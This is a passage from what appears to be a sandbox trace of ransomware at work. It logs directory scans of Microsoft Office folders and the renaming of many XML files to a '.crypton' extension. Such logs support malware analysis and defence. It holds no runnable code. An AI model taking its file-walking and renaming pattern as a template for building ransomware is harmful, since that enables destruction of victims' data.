office\\office14\\pagesize\\pgmn102.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN102.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn102.xml.crypton"), dwFlags=0x2) returned 1 [0118.618] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN103.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn103.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN103.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn103.xml.crypton"), dwFlags=0x2) returned 1 [0118.623] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN105.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn105.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN105.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn105.xml.crypton"), dwFlags=0x2) returned 1 [0118.634] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN107.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn107.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN107.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn107.xml.crypton"), dwFlags=0x2) returned 1 [0118.645] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN108.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn108.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN108.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn108.xml.crypton"), dwFlags=0x2) returned 1 [0118.653] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN109.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn109.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN109.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn109.xml.crypton"), dwFlags=0x2) returned 1 [0118.681] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN110.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn110.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN110.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn110.xml.crypton"), dwFlags=0x2) returned 1 [0118.847] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN111.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn111.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN111.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn111.xml.crypton"), dwFlags=0x2) returned 1 [0118.868] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PG_INDEX.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pg_index.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PG_INDEX.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pg_index.xml.crypton"), dwFlags=0x2) returned 1 [0118.910] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PPTIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pptirm.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PPTIRM.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pptirm.xml.crypton"), dwFlags=0x2) returned 1 [0118.952] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PPTIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pptirmv.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PPTIRMV.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pptirmv.xml.crypton"), dwFlags=0x2) returned 1 [0118.968] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PROOF\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5481df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc444e140, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xc444e140, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0118.970] GetFileType (hFile=0x1a4) returned 0x1 [0118.975] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97285f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc444e140, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xc444e140, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0118.976] GetFileType (hFile=0x1a4) returned 0x1 [0118.980] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa44929a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc44742a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xc44742a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0118.981] GetFileType (hFile=0x1a4) returned 0x1 [0118.988] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PROOF\\3082\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc44742a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xc44742a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0118.993] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBBA\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59413f90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc449a400, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xc449a400, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0118.998] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511e6c70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc449a400, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xc449a400, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0119.001] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\ad.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\AD.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\ad.xml.crypton"), dwFlags=0x2) returned 1 [0119.010] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BANNER.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\banner.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BANNER.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\banner.xml.crypton"), dwFlags=0x2) returned 1 [0119.019] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZCARD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bizcard.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZCARD.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bizcard.xml.crypton"), dwFlags=0x2) returned 1 [0119.056] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZFORM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bizform.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BIZFORM.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\bizform.xml.crypton"), dwFlags=0x2) returned 1 [0119.078] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BROCHURE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\brochure.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BROCHURE.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\brochure.xml.crypton"), dwFlags=0x2) returned 1 [0119.120] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALENDAR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calendar.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALENDAR.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\calendar.xml.crypton"), dwFlags=0x2) returned 1 [0119.128] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATALOG.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\catalog.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATALOG.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\catalog.xml.crypton"), dwFlags=0x2) returned 1 [0119.134] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\cert.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CERT.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\cert.xml.crypton"), dwFlags=0x2) returned 1 [0119.138] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBAR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgaccbar.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBAR.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgaccbar.xml.crypton"), dwFlags=0x2) returned 1 [0119.142] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBOX.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgaccbox.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGACCBOX.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgaccbox.xml.crypton"), dwFlags=0x2) returned 1 [0119.145] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGAD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgad.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGAD.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgad.xml.crypton"), dwFlags=0x2) returned 1 [0119.151] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGATNGET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgatnget.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGATNGET.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgatnget.xml.crypton"), dwFlags=0x2) returned 1 [0119.350] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBARBLL.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgbarbll.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBARBLL.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgbarbll.xml.crypton"), dwFlags=0x2) returned 1 [0119.356] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBORDER.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgborder.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBORDER.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgborder.xml.crypton"), dwFlags=0x2) returned 1 [0119.359] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBOXES.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgboxes.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGBOXES.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgboxes.xml.crypton"), dwFlags=0x2) returned 1 [0119.409] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCAL.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcal.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCAL.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcal.xml.crypton"), dwFlags=0x2) returned 1 [0119.412] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCHKBRD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgchkbrd.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCHKBRD.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgchkbrd.xml.crypton"), dwFlags=0x2) returned 1 [0119.468] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCINFO.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcinfo.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCINFO.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcinfo.xml.crypton"), dwFlags=0x2) returned 1 [0119.471] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCOUPON.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcoupon.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCOUPON.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcoupon.xml.crypton"), dwFlags=0x2) returned 1 [0119.474] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGDOTS.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgdots.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGDOTS.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgdots.xml.crypton"), dwFlags=0x2) returned 1 [0119.494] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGHEADING.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgheading.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGHEADING.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgheading.xml.crypton"), dwFlags=0x2) returned 1 [0119.498] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLINACC.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dglinacc.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLINACC.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dglinacc.xml.crypton"), dwFlags=0x2) returned 1 [0119.502] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLOGO.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dglogo.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLOGO.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dglogo.xml.crypton"), dwFlags=0x2) returned 1 [0119.527] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMAIN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgmain.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMAIN.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgmain.xml.crypton"), dwFlags=0x2) returned 1 [0119.535] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMARQ.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgmarq.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMARQ.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgmarq.xml.crypton"), dwFlags=0x2) returned 1 [0119.541] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGNAVBAR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgnavbar.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGNAVBAR.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgnavbar.xml.crypton"), dwFlags=0x2) returned 1 [0119.595] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPICCAP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpiccap.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPICCAP.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpiccap.xml.crypton"), dwFlags=0x2) returned 1 [0119.615] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPQUOT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpquot.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPQUOT.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpquot.xml.crypton"), dwFlags=0x2) returned 1 [0119.639] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPUNCT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpunct.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPUNCT.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpunct.xml.crypton"), dwFlags=0x2) returned 1 [0119.681] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGREPFRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgrepfrm.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGREPFRM.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgrepfrm.xml.crypton"), dwFlags=0x2) returned 1 [0119.705] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSIDEBR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgsidebr.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSIDEBR.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgsidebr.xml.crypton"), dwFlags=0x2) returned 1 [0119.713] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSIDEBRV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgsidebrv.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSIDEBRV.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgsidebrv.xml.crypton"), dwFlags=0x2) returned 1 [0119.736] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSTORY.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgstory.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSTORY.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgstory.xml.crypton"), dwFlags=0x2) returned 1 [0119.743] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSTORYVERT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgstoryvert.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGSTORYVERT.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgstoryvert.xml.crypton"), dwFlags=0x2) returned 1 [0119.787] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGTOC.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgtoc.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGTOC.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgtoc.xml.crypton"), dwFlags=0x2) returned 1 [0119.792] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBAD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebad.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBAD.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebad.xml.crypton"), dwFlags=0x2) returned 1 [0119.828] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBBTN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebbtn.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBBTN.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebbtn.xml.crypton"), dwFlags=0x2) returned 1 [0119.838] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBCAL.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebcal.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBCAL.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebcal.xml.crypton"), dwFlags=0x2) returned 1 [0119.852] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBHD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebhd.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBHD.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebhd.xml.crypton"), dwFlags=0x2) returned 1 [0119.856] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBPQT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebpqt.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBPQT.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebpqt.xml.crypton"), dwFlags=0x2) returned 1 [0119.859] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBREF.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebref.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBREF.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebref.xml.crypton"), dwFlags=0x2) returned 1 [0119.864] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBSBR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebsbr.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGWEBSBR.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgwebsbr.xml.crypton"), dwFlags=0x2) returned 1 [0119.866] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGZIPC.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgzipc.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGZIPC.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgzipc.xml.crypton"), dwFlags=0x2) returned 1 [0119.896] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\EMAIL.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\email.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\EMAIL.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\email.xml.crypton"), dwFlags=0x2) returned 1 [0119.905] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ENVELOPE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\envelope.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\ENVELOPE.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\envelope.xml.crypton"), dwFlags=0x2) returned 1 [0119.949] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FLYER.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\flyer.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FLYER.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\flyer.xml.crypton"), dwFlags=0x2) returned 1 [0119.954] MoveFileExW 